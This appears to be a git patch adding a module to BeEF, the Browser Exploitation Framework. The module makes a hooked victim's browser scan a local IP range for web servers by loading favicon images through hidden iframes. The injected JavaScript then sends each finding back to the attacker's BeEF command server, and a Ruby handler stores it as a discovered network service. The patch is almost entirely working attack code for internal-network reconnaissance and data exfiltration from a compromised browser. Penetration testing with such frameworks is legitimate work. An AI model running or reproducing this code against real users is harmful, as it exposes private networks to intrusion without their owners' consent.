From 1ab979553cb36c669e15cb9ed2f9f74107deb918 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 18 Jan 2015 13:26:40 +0000 Subject: [PATCH] Add Get HTTP Servers module --- modules/network/get_http_servers/command.js | 98 ++++++++++++++++++++ modules/network/get_http_servers/config.yaml | 15 +++ modules/network/get_http_servers/module.rb | 46 +++++++++ 3 files changed, 159 insertions(+) create mode 100644 modules/network/get_http_servers/command.js create mode 100644 modules/network/get_http_servers/config.yaml create mode 100644 modules/network/get_http_servers/module.rb diff --git a/modules/network/get_http_servers/command.js b/modules/network/get_http_servers/command.js new file mode 100644 index 000000000..a7a503c6a --- /dev/null +++ b/modules/network/get_http_servers/command.js @@ -0,0 +1,98 @@ +// +// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var ips = new Array(); + var proto = 'http'; + var ipRange = "<%= @ipRange %>"; + var port = "<%= @rport %>"; + var timeout = "<%= @timeout %>"; + var wait = "<%= @wait %>"; + var threads = "<%= @threads %>"; + var urls = new Array('/favicon.ico', '/favicon.png'); + + // set target IP addresses + if (ipRange != null){ + // ipRange will be in the form of 192.168.0.1-192.168.0.254 + // the fourth octet will be iterated. + // (only C class IP ranges are supported atm) + ipBounds = ipRange.split('-'); + lowerBound = ipBounds[0].split('.')[3]; + upperBound = ipBounds[1].split('.')[3]; + for (i=lowerBound;i<=upperBound;i++){ + ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i; + ips.push(ipToTest); + } + } + + checkFavicon = function(proto, ip, port, uri) { + var img = new Image; + var dom = beef.dom.createInvisibleIframe(); + beef.debug("[Favicon Scanner] Checking IP [" + ip + "] (" + proto + ")"); + img.src = proto+"://"+ip+":"+port+uri; + img.onerror = function() { dom.removeChild(this); } + img.onload = function() { + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+"&url="+escape(this.src));dom.removeChild(this); + beef.debug("[Favicon Scanner] Found HTTP Server [" + escape(this.src) + "]"); + } + dom.appendChild(img); + // stop & remove iframe + setTimeout(function() { + if (dom.contentWindow.stop !== undefined) { + dom.contentWindow.stop(); + } else if (dom.contentWindow.document.execCommand !== undefined) { + dom.contentWindow.document.execCommand("Stop", false); + } + document.body.removeChild(dom); + }, timeout*1000); + } + + WorkerQueue = function(frequency) { + + var stack = []; + var timer = null; + var frequency = frequency; + var start_scan = (new Date).getTime(); + + this.process = function() { + var item = stack.shift(); + eval(item); + if (stack.length === 0) { + clearInterval(timer); + timer = null; + var interval = (new Date).getTime() - start_scan; + beef.debug("[Favicon Scanner] Worker queue is complete ["+interval+" ms]"); + return; + } + } + + this.queue = function(item) { + stack.push(item); + if (timer === null) { + timer = setInterval(this.process, frequency); + } + } + + } + + // create worker queue + var workers = new Array(); + for (w=0; w < threads; w++) { + workers.push(new WorkerQueue(wait*1000)); + } + + // for each favicon path + for (var u=0; u < urls.length; u++) { + var worker = workers[u % threads]; + // for each LAN IP address + for (var i=0; i < ips.length; i++) { + worker.queue('checkFavicon("'+proto+'","'+ips[i]+'","'+port+'","'+urls[u]+'");'); + } + } + +}); + diff --git a/modules/network/get_http_servers/config.yaml b/modules/network/get_http_servers/config.yaml new file mode 100644 index 000000000..dd167d867 --- /dev/null +++ b/modules/network/get_http_servers/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + get_http_servers: + enable: true + category: "Network" + name: "Get HTTP Servers (Favicon)" + description: "Attempts to discover HTTP servers on the specified IP range by checking for a favicon." + authors: ["bcoles"] + target: + user_notify: ["FF", "IE", "C", "S"] diff --git a/modules/network/get_http_servers/module.rb b/modules/network/get_http_servers/module.rb new file mode 100644 index 000000000..4afcd1d01 --- /dev/null +++ b/modules/network/get_http_servers/module.rb @@ -0,0 +1,46 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +class Get_http_servers < BeEF::Core::Command + + def self.options + return [ + {'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254'}, + {'name' => 'rport', 'ui_label' => 'Port', 'value' => '80'}, + {'name' => 'threads', 'ui_label' => 'Workers', 'value' => '5'}, + {'name' => 'wait', 'ui_label' => 'Wait (s) between each request for each worker', 'value' => '1'}, + {'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '10'} + ] + end + + def post_execute + content = {} + content['url'] = @datastore['url'] if not @datastore['url'].nil? + if content.empty? + content['fail'] = 'No HTTP servers were discovered.' + end + save content + + configuration = BeEF::Core::Configuration.instance + if configuration.get("beef.extension.network.enable") == true + if @datastore['results'] =~ /^proto=(.+)&ip=(.+)&port=([\d]+)&url=(.+)/ + proto = $1 + ip = $2 + port = $3 + url = $4 + session_id = @datastore['beefhook'] + cid = @datastore['cid'].to_i + if !ip.nil? + print_debug("Hooked browser found HTTP Server [proto: #{proto}, ip: #{ip}, port: #{port}]") + r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => "HTTP Server", :cid => cid) + r.save + end + end + + end + + end +end